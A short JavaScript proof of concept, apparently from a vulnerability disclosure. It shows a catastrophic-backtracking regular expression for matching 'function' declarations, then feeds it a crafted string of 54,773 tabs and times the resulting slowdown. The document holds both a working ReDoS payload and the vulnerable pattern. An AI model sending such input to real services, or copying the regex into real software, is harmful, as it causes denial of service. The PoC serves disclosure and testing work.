/\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/

'\t'.repeat(54773) + '\t/function/i'

const protocolre = /\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/;

const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'

protocolre.test(maliciousInput);

const endTime = Date.now();

console.log("process time: ", endTime - startTime, "ms");